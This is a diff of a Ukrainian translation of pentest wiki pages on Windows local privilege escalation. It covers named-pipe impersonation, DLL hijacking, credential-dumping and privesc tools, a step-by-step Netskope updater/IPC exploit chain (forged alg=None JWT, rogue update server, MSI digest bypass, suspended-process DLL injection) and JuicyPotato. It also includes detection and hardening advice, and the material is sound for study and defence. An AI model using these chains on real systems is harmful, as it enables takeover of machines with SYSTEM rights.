SYSTEM процеси без усіх привілеїв токена_).\ +**Ви можете знайти** [**приклад коду, що реалізує запропоновану техніку тут**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Цю техніку використовує meterpreter для ескалації в `getsystem`. Суть техніки — **створити pipe, а потім створити/зловживати службою, щоб записати в цей pipe**. Потім **сервер**, який створив pipe з привілеєм **`SeImpersonate`**, зможе **імітувати токен** клієнта pipe (служби) і отримати привілеї SYSTEM.\ -Якщо хочете [**дізнатися більше про name pipes — читайте це**](#named-pipe-client-impersonation).\ -Якщо хочете приклад [**як перейти з high integrity до System, використовуючи name pipes — читайте це**](from-high-integrity-to-system-with-name-pipes.md). +Ця техніка використовується meterpreter для ескалації в `getsystem`. Техніка полягає у **створенні pipe та подальшому створенні/зловживанні сервісом, щоб записати в цей pipe**. Потім **сервер**, який створив pipe використовуючи привілей **`SeImpersonate`**, зможе **імперсонувати токен** клієнта pipe (сервісу), отримавши привілеї SYSTEM.\ +Якщо ви хочете [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +Якщо ви хочете прочитати приклад [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -Якщо вам вдасться **перехопити dll**, яка завантажується процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з цими правами. Тому Dll Hijacking також корисний для такого типу ескалації привілеїв, і, до того ж, набагато **легше досяжний з процесу High Integrity**, оскільки він матиме **права на запис** у папки, які використовуються для завантаження dll.\ -**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** +Якщо вам вдасться **hijack a dll**, яка **завантажується** процесом, що працює як **SYSTEM**, ви зможете виконувати довільний код з цими правами. Отже Dll Hijacking також корисний для такого виду ескалації привілеїв, і, більш того, набагато **легше досяжний з high integrity process**, оскільки він матиме **права на запис** у папки, що використовуються для завантаження dll.\ +**Ви можете** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** ### **From Administrator or Network Service to System** @@ -1604,38 +1606,38 @@ sc start newservicename ### From LOCAL SERVICE or NETWORK SERVICE to full privs -**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Читати:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## More help +## Більше допомоги [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Useful tools +## Корисні інструменти -**Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Найкращий інструмент для пошуку векторів Windows local privilege escalation:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Перевіряє на misconfigurations та чутливі файли (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Виявлено.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Перевіряє можливі misconfigurations та збирає інформацію (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- Перевіряє на misconfigurations**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Витягує збережені сесії PuTTY, WinSCP, SuperPuTTY, FileZilla і RDP. Використовуйте -Thorough локально.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Витягує креденшали з Credential Manager. Виявлено.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Розпилює зібрані паролі по домену**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh — PowerShell ADIDNS/LLMNR/mDNS/NBNS спуфер і інструмент man-in-the-middle.**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Базова privesc енумерація Windows**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Пошук відомих privesc вразливостей (DEPRECATED заради Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Локальні перевірки **(Потребує прав Admin)** +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Перевіряє на неправильні налаштування та чутливі файли (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Виявлено.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Перевіряє на можливі неправильні налаштування та збирає інформацію (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- Перевіряє на неправильні налаштування**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Витягує збережену інформацію про сесії PuTTY, WinSCP, SuperPuTTY, FileZilla та RDP. Використовуйте -Thorough під час локального запуску.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Витягує облікові дані з Credential Manager. Виявлено.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Застосовує зібрані паролі по всьому домену**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh — PowerShell інструмент для підміни ADIDNS/LLMNR/mDNS/NBNS та man-in-the-middle.**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Базова енумерація Windows для privesc**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Пошук відомих privesc вразливостей (DEPRECATED for Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Локальні перевірки **(Need Admin rights)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Пошук відомих privesc вразливостей (треба скомпілювати у VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перебирає хост в пошуках misconfigurations (більше інструмент збору інформації ніж privesc) (треба скомпілювати) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Витягує креденшали з багатьох програм (precompiled exe на GitHub)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Шукає відомі privesc вразливості (потрібно компілювати за допомогою VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перелічує хост у пошуках неправильних налаштувань (більше інструмент збору інформації ніж privesc) (потрібно компілювати) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Витягує облікові дані з багатьох програм (precompiled exe в GitHub)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Порт PowerUp на C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Перевірка на misconfiguration (виконуваний файл precompiled на GitHub). Не рекомендовано. Погано працює на Win10.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Перевіряє можливі misconfigurations (exe з python). Не рекомендовано. Погано працює на Win10. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Перевірка на неправильні налаштування (виконуваний файл precompiled в GitHub). Не рекомендовано. Погано працює в Win10.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Перевірка можливих неправильних налаштувань (exe з python). Не рекомендовано. Погано працює в Win10. **Bat** @@ -1643,18 +1645,18 @@ sc start newservicename **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Читає вивід **systeminfo** і пропонує робочі експлойти (локальний python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Читає вивід **systeminfo** і пропонує робочі експлойти (локальний python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Читає вивід **systeminfo** та рекомендує працюючі експлойти (локальний python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Читає вивід **systeminfo** та рекомендує працюючі експлойти (локальний python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Вам потрібно скомпілювати проект, використовуючи правильну версію .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Щоб переглянути встановлену версію .NET на хості жертви, ви можете: +Потрібно скомпілювати проект, використовуючи правильну версію .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Щоб побачити встановлену версію .NET на хості жертви, ви можете зробити: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` -## Джерела +## Посилання - [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html) - [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md index 0c5db2388..9c33852a3 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -1,28 +1,28 @@ -# Зловживання Enterprise Auto-Updaters та Privileged IPC (e.g., Netskope stAgentSvc) +# Зловживання корпоративними автооновлювачами та привілейованим IPC (наприклад, Netskope stAgentSvc) {{#include ../../banners/hacktricks-training.md}} -Ця сторінка узагальнює клас Windows local privilege escalation chains, які зустрічаються в enterprise endpoint agents та updaters, що відкривають low‑friction IPC surface і привілейований update flow. Репрезентативний приклад — Netskope Client for Windows < R129 (CVE-2025-0309), де low‑privileged user може примусити enrollment на attacker‑controlled сервер, а потім доставити шкідливий MSI, який встановлює сервіс SYSTEM. +Ця сторінка узагальнює клас Windows local privilege escalation ланцюжків, що зустрічаються в enterprise endpoint agents та updaters, які надають простий у використанні IPC інтерфейс і привілейований потік оновлення. Репрезентативним прикладом є Netskope Client for Windows < R129 (CVE-2025-0309), де користувач з низькими привілеями може примусити реєстрацію на сервері, контрольованому нападником, і потім доставити шкідливий MSI, який встановлює служба SYSTEM. -Ключові ідеї, які можна використовувати проти схожих продуктів: -- Зловживати localhost IPC привілейованого сервісу, щоб примусити re‑enrollment або reconfiguration на attacker server. -- Реалізувати vendor’s update endpoints, доставити підроблений Trusted Root CA і вказати updater на шкідливий „signed” пакет. -- Обходитись зі слабыми перевірками signer (CN allow‑lists), optional digest flags та lax MSI properties. -- Якщо IPC «encrypted», виводити key/IV з загальнодоступних machine identifiers, що зберігаються в registry. -- Якщо сервіс обмежує викликачів за image path/process name, inject у allow‑listed процес або spawn one suspended і bootstrap your DLL через minimal thread‑context patch. +Ключові ідеї, які можна повторно використати проти схожих продуктів: +- Зловживати localhost IPC привілейованої служби, щоб примусити повторну реєстрацію або переналаштування на сервер нападника. +- Реалізувати update endpoints постачальника, доставити підроблений Trusted Root CA і вказати апдейтеру зловмисний «підписаний» пакет. +- Уникати слабких перевірок підписувача (CN allow‑lists), опціональних digest flags та розслаблених властивостей MSI. +- Якщо IPC «шифрується», виводити ключ/IV із загальнодоступних ідентифікаторів машини, збережених у registry. +- Якщо служба обмежує викликачів за image path/process name, інжектити в allow‑listed процес або створити процес у suspended стані і завантажити ваш DLL через мінімальну правку thread‑context. --- -## 1) Примусове enrollment на attacker server через localhost IPC +## 1) Примусова реєстрація на сервері нападника через localhost IPC -Багато агентів постачають user‑mode UI процес, який спілкується з сервісом SYSTEM по localhost TCP використовуючи JSON. +Багато агентів постачають user‑mode UI процес, який спілкується зі службою SYSTEM по localhost TCP з використанням JSON. -Спостерігалося в Netskope: -- UI: stAgentUI (низької цілісності) ↔ Service: stAgentSvc (SYSTEM) +Спостерігалось у Netskope: +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) - IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN -Потік експлоїта: -1) Сформуйте JWT enrollment token, чиї claims контролюють backend host (наприклад, AddonUrl). Використайте alg=None щоб підпис не був потрібен. -2) Надішліть IPC повідомлення, що викликає provisioning command з вашим JWT та tenant name: +Схема експлуатації: +1) Сформуйте JWT enrollment token, у якому claims контролюють backend host (наприклад, AddonUrl). Використайте alg=None, щоб підпис не був потрібен. +2) Надішліть IPC повідомлення, що викликає provisioning команду з вашим JWT і tenant name: ```json { "148": { @@ -36,83 +36,83 @@ - /config/user/getbrandingbyemail Примітки: -- Якщо верифікація виклику базується на path/name‑based, ініціюйте запит з виконуваного файлу вендора, що знаходиться у списку дозволених (див. §4). +- Якщо перевірка виклику ґрунтується на шляху/імені, ініціюйте запит із виконуваного файлу постачальника, включеного до білого списку (див. §4). --- -## 2) Перехоплення каналу оновлень для виконання коду як SYSTEM +## 2) Підміна каналу оновлень для запуску коду як SYSTEM -Коли клієнт зв’язується з вашим сервером, реалізуйте очікувані endpoints і направте його на зловмисний MSI. Типова послідовність: +Коли клієнт починає спілкуватися з вашим сервером, реалізуйте очікувані кінцеві точки і спрямовуйте його на шкідливий MSI. Типова послідовність: -1) /v2/config/org/clientconfig → Повернути JSON конфіг з дуже коротким інтервалом оновлення, наприклад: +1) /v2/config/org/clientconfig → Return JSON config with a very short updater interval, e.g.: ```json { "clientUpdate": { "updateIntervalInMin": 1 }, "check_msi_digest": false } ``` -2) /config/ca/cert → Повертає PEM CA certificate. Сервіс встановлює його в Local Machine Trusted Root store. -3) /v2/checkupdate → Повертає metadata, що вказує на зловмисний MSI і підроблену версію. +2) /config/ca/cert → Повертає PEM CA сертифікат. Сервіс встановлює його в сховище Trusted Root локальної машини. +3) /v2/checkupdate → Надає метадані, що вказують на шкідливий MSI і підроблену версію. Bypassing common checks seen in the wild: -- Signer CN allow‑list: сервіс може перевіряти лише, чи Subject CN дорівнює “netSkope Inc” або “Netskope, Inc.”. Ваш Rogue CA може випустити leaf із цим CN і підписати MSI. -- CERT_DIGEST property: додайте benign MSI property з ім’ям CERT_DIGEST. Під час інсталяції не виконується enforcement. -- Optional digest enforcement: config flag (e.g., check_msi_digest=false) відключає додаткову криптографічну валідацію. +- Signer CN allow‑list: сервіс може перевіряти лише чи Subject CN дорівнює “netSkope Inc” або “Netskope, Inc.”. Ваш підроблений CA може видати leaf з цим CN і підписати MSI. +- CERT_DIGEST property: додайте нешкідливу MSI властивість з ім'ям CERT_DIGEST. Під час встановлення не застосовується. +- Optional digest enforcement: конфігураційний прапорець (наприклад, check_msi_digest=false) вимикає додаткову криптографічну перевірку. -Результат: SYSTEM service встановлює ваш MSI з +Result: служба SYSTEM встановлює ваш MSI з C:\ProgramData\Netskope\stAgent\data\*.msi -та виконує arbitrary code як NT AUTHORITY\SYSTEM. +виконуючи довільний код як NT AUTHORITY\SYSTEM. --- ## 3) Forging encrypted IPC requests (when present) -From R127, Netskope загорнув IPC JSON у поле encryptData, яке виглядає як Base64. Реверсинг показав AES зі key/IV, похідними від значень у реєстрі, що читаються будь‑яким користувачем: +From R127, Netskope вкладала IPC JSON у поле encryptData, яке виглядає як Base64. Реверс-інжиніринг показав AES з key/IV, похідними від значень реєстру, доступних для читання будь-яким користувачем: - Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew - IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID -Атакуючі можуть відтворити шифрування і відправляти валідні зашифровані команди від імені стандартного користувача. Загальна порада: якщо агент раптом “encrypts” свій IPC, шукайте device IDs, product GUIDs, install IDs під HKLM як матеріал для ключів. +Атакувальники можуть відтворити шифрування і відправляти дійсні зашифровані команди від звичайного користувача. Загальна порада: якщо агент раптово «шифрує» свій IPC, шукайте device IDs, product GUIDs, install IDs під HKLM як матеріал для ключів. --- ## 4) Bypassing IPC caller allow‑lists (path/name checks) -Деякі сервіси намагаються аутентифікувати пір шляхом резолвінгу PID TCP‑з’єднання і порівняння image path/name з allow‑listed vendor binaries у Program Files (наприклад, stagentui.exe, bwansvc.exe, epdlp.exe). +Деякі служби намагаються автентифікувати пір, визначаючи PID TCP-з'єднання й порівнюючи шлях/ім'я образу з allow‑list`ом бінарників вендора, що розташовані в Program Files (наприклад, stagentui.exe, bwansvc.exe, epdlp.exe). -Два практичні обхідні шляхи: -- DLL injection в allow‑listed процес (наприклад, nsdiag.exe) та проксування IPC зсередини нього. -- Spawn allow‑listed binary у suspended стані і bootstrap ваш proxy DLL без CreateRemoteThread (див. §5), щоб задовольнити driver‑enforced tamper правила. +Two practical bypasses: +- DLL injection у allow‑listed процес (наприклад, nsdiag.exe) та проксування IPC зсередини нього. +- Запустіть allow‑listed бінарник у suspended стані та завантажте ваш proxy DLL без використання CreateRemoteThread (див. §5), щоб задовольнити правила драйвера щодо запобігання підмінам. --- ## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch -Продукти часто постачають minifilter/OB callbacks driver (наприклад, Stadrv), щоб прибирати небезпечні права з handles до захищених процесів: +Продукти часто постачають драйвер minifilter/OB callbacks (наприклад, Stadrv), щоб видаляти небезпечні права з дескрипторів до захищених процесів: - Process: видаляє PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME - Thread: обмежує до THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE -Надійний user‑mode loader, що поважає ці обмеження: -1) CreateProcess vendor binary з CREATE_SUSPENDED. -2) Отримайте handles, які вам ще дозволені: PROCESS_VM_WRITE | PROCESS_VM_OPERATION на процесі, і thread handle з THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (або просто THREAD_RESUME, якщо ви патчите код у відомому RIP). -3) Перезапишіть ntdll!NtContinue (або інший ранній, гарантовано‑маплений thunk) маленьким stub, що викликає LoadLibraryW з вашим шляхом до DLL, потім повертає виконання назад. -4) ResumeThread, щоб запустити ваш stub в процесі і завантажити вашу DLL. +Надійний юзер‑мод лоадер, що враховує ці обмеження: +1) CreateProcess вендорського бінарника з CREATE_SUSPENDED. +2) Отримайте дескриптори, які вам ще дозволено мати: PROCESS_VM_WRITE | PROCESS_VM_OPERATION для процесу, і дескриптор потоку з THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (або просто THREAD_RESUME, якщо ви патчите код у відомому RIP). +3) Перезапишіть ntdll!NtContinue (або інший ранній, гарантовано підключений thunk) невеликим стубом, який викликає LoadLibraryW для шляху до вашого DLL, а потім повертається. +4) ResumeThread, щоб ініціювати виконання вашого стуба всередині процесу, завантаживши ваш DLL. -Оскільки ви ніколи не використовували PROCESS_CREATE_THREAD або PROCESS_SUSPEND_RESUME на вже‑захищеному процесі (ви його створили), політика драйвера задовольняється. +Оскільки ви ніколи не використовували PROCESS_CREATE_THREAD або PROCESS_SUSPEND_RESUME для вже захищеного процесу (ви його створили), політика драйвера задовольняється. --- ## 6) Practical tooling -- NachoVPN (Netskope plugin) автоматизує rogue CA, malicious MSI signing і подає необхідні endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. -- UpSkope — кастомний IPC client, що формує arbitrary (опційно AES‑encrypted) IPC messages і включає suspended‑process injection, щоб походити від allow‑listed binary. +- NachoVPN (Netskope plugin) автоматизує rogue CA, підписання шкідливого MSI, і слугує потрібні endpoints: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate. +- UpSkope — кастомний IPC клієнт, який створює довільні (опціонально AES‑зашифровані) IPC-повідомлення і включає інжекцію в suspended‑процес, щоб походження було від allow‑listed бінарника. --- ## 7) Detection opportunities (blue team) -- Monitor additions до Local Machine Trusted Root. Sysmon + registry‑mod eventing (див. SpecterOps guidance) працюють добре. -- Flag MSI executions, ініційовані service агента з шляхів на кшталт C:\ProgramData\\\data\*.msi. -- Переглядайте agent logs на предмет unexpected enrollment hosts/tenants, наприклад: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – шукайте addonUrl / tenant anomalies і provisioning msg 148. -- Alert на localhost IPC clients, які не є expected signed binaries або походять з дивних дерев дочірніх процесів. +- Моніторьте додавання до Local Machine Trusted Root. Sysmon + registry‑mod eventing (див. керівництво SpecterOps) працює добре. +- Позначайте виконання MSI, ініційовані службою агента з таких шляхів, як C:\ProgramData\\\data\*.msi. +- Перегляньте логи агента на предмет несподіваних enrollment hosts/tenants, напр.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log – звертайте увагу на addonUrl / tenant аномалії та provisioning msg 148. +- Сповіщайте про localhost IPC клієнтів, які не є очікуваними підписаними бінарниками, або походять з незвичних дерев дочірніх процесів. --- ## Hardening tips for vendors -- Bind enrollment/update hosts до strict allow‑list; reject untrusted domains у clientcode. -- Authenticate IPC peers через OS primitives (ALPC security, named‑pipe SIDs) замість перевірок image path/name. -- Тримайте secret material поза world‑readable HKLM; якщо IPC має бути encrypted, виводьте keys з protected secrets або домовляйтеся через authenticated channels. -- Розглядайте updater як supply‑chain surface: вимагайте повний chain до trusted CA, яку ви контролюєте, перевіряйте package signatures проти pinned keys і fail closed, якщо валідація відключена в конфігурації. +- Прив’язуйте enrollment/update хости до суворого allow‑list'у; відкидайте непро���і домени в clientcode. +- Аутентифікуйте IPC-пірів за допомогою примітивів ОС (ALPC security, named‑pipe SIDs) замість перевірок шляху/імені образу. +- Не зберігайте секретні матеріали у загальнодоступному для читання HKLM; якщо IPC має бути зашифрованим, виводьте ключі з захищених секретів або погоджуйте їх по автентифікованих каналах. +- Розглядайте updater як вектор ланцюга постачання: вимагайте повний ланцюжок до довіреного CA, яким ви керуєте, верифікуйте підписи пакетів проти pinned keys, і відмовляйтеся від роботи (fail closed), якщо валідація вимкнена в конфігурації. ## References - [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index 1f7c51f47..90984d985 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,58 +2,58 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > JuicyPotato застарілий. Зазвичай він працює на Windows версіях до Windows 10 1803 / Windows Server 2016. Зміни від Microsoft, введені починаючи з Windows 10 1809 / Server 2019, порушили оригінальну техніку. Для цих збірок і новіших розгляньте сучасні альтернативи, такі як PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato та інші. Див. сторінку нижче для актуальних варіантів та використання. +> [!WARNING] > JuicyPotato is legacy. It generally works on Windows versions up to Windows 10 1803 / Windows Server 2016. Microsoft changes shipped starting in Windows 10 1809 / Server 2019 broke the original technique. For those builds and newer, consider modern alternatives such as PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato and others. See the page below for up-to-date options and usage. {{#ref}} roguepotato-and-printspoofer.md {{#endref}} -## Juicy Potato (зловживання золотими привілеями) +## Juicy Potato (abusing the golden privileges) -_Підсолоджена версія_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, з невеликою дозою соку, тобто **ще один Local Privilege Escalation tool, з Windows Service Accounts до NT AUTHORITY\SYSTEM**_ +_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ -#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) +#### Ви можете завантажити juicypotato з [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) ### Compatibility quick notes -- Працює надійно до Windows 10 1803 і Windows Server 2016, коли поточний контекст має SeImpersonatePrivilege або SeAssignPrimaryTokenPrivilege. -- Порушено через посилення захисту Microsoft у Windows 10 1809 / Windows Server 2019 і новіших. Для цих збірок віддавайте перевагу альтернативам, наведеним вище. +- Працює стабільно до Windows 10 1803 та Windows Server 2016, коли поточний контекст має SeImpersonatePrivilege або SeAssignPrimaryTokenPrivilege. +- Пошкоджено заходами посилення безпеки Microsoft у Windows 10 1809 / Windows Server 2019 і новіших версіях. Для цих збірок віддавайте перевагу альтернативам, наведеним вище. ### Summary [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) і його [variants](https://github.com/decoder-it/lonelypotato) використовують ланцюжок підвищення привілеїв, заснований на сервісі [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126), який має MiTM прослуховувач на `127.0.0.1:6666`, і коли у вас є права `SeImpersonate` або `SeAssignPrimaryToken`. Під час перегляду збірки Windows ми виявили налаштування, де `BITS` було навмисно відключено і порт `6666` був зайнятий. +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken. -Ми вирішили озброїти [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Зустрічайте Juicy Potato**. +Ми вирішили озброїти [RottenPotatoNG]: **Зустрічайте Juicy Potato**. -> Для теорії див. [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) і слідуйте ланцюжку посилань та референцій. +> Для теорії див. [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) та перегляньте пов'язані посилання і джерела. -Ми виявили, що, окрім `BITS`, існує кілька COM-серверів, якими можна зловживати. Вони мають лише: +Ми виявили, що, окрім `BITS`, існує кілька COM-серверів, які можна використати. Вони лише повинні: -1. бути інстанційовуваними поточним користувачем, зазвичай «service user», який має права імперсонації -2. реалізовувати інтерфейс `IMarshal` -3. працювати від імені підвищеного користувача (SYSTEM, Administrator, …) +1. бути ініціалізованими поточним користувачем, зазвичай «service user», який має привілеї імперсонації +2. реалізовувати інтерфейс IMarshal +3. запускатися від імені підвищеного користувача (SYSTEM, Administrator, …) -Після деяких тестів ми зібрали й перевірили великий список [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) на кількох версіях Windows. +Після деяких тестів ми отримали і перевірили великий список [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) на кількох версіях Windows. ### Juicy details JuicyPotato дозволяє вам: -- **Target CLSID** _оберіть будь-який CLSID, який хочете._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _ви знайдете список, організований за ОС._ -- **COM Listening port** _визначте COM listening port, який вам підходить (замість захардкодженого marshalled 6666)_ -- **COM Listening IP address** _прив’яжіть сервер до будь-якої IP-адреси_ -- **Process creation mode** _залежно від привілеїв імперсонованого користувача ви можете обирати з:_ -- `CreateProcessWithToken` (потребує `SeImpersonate`) -- `CreateProcessAsUser` (потребує `SeAssignPrimaryToken`) +- **Target CLSID** _оберіть будь-який CLSID, який ви хочете._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _тут ви знайдете список, організований за ОС._ +- **COM Listening port** _вкажіть бажаний COM-порт для прослуховування (замість маршалованого жорстко закодованого 6666)_ +- **COM Listening IP address** _прив'яжіть сервер до будь-якої IP-адреси_ +- **Process creation mode** _залежно від привілеїв імперсонованого користувача ви можете обрати з:_ +- `CreateProcessWithToken` (needs `SeImpersonate`) +- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) - `both` -- **Process to launch** _запустити виконуваний файл або скрипт у випадку успішної експлуатації_ -- **Process Argument** _налаштувати аргументи для запуску процесу_ -- **RPC Server address** _для більш прихованого підходу ви можете автентифікуватися до зовнішнього RPC server_ -- **RPC Server port** _корисно, якщо ви хочете автентифікуватися до зовнішнього сервера, а фаєрвол блокує порт `135`…_ -- **TEST mode** _переважно для тестування, наприклад тестування CLSIDів. Створює DCOM і виводить користувача токена. Див._ [_here for testing_](http://ohpe.it/juicy-potato/Test/) +- **Process to launch** _запустити виконуваний файл або скрипт у разі успіху експлуатації_ +- **Process Argument** _налаштуйте аргументи запущеного процесу_ +- **RPC Server address** _для прихованого підходу ви можете автентифікуватися на зовнішньому RPC-сервері_ +- **RPC Server port** _корисно якщо ви хочете автентифікуватися на зовнішньому сервері і firewall блокує порт `135`…_ +- **TEST mode** _в основному для тестових цілей, тобто тестування CLSIDів. Він створює DCOM і 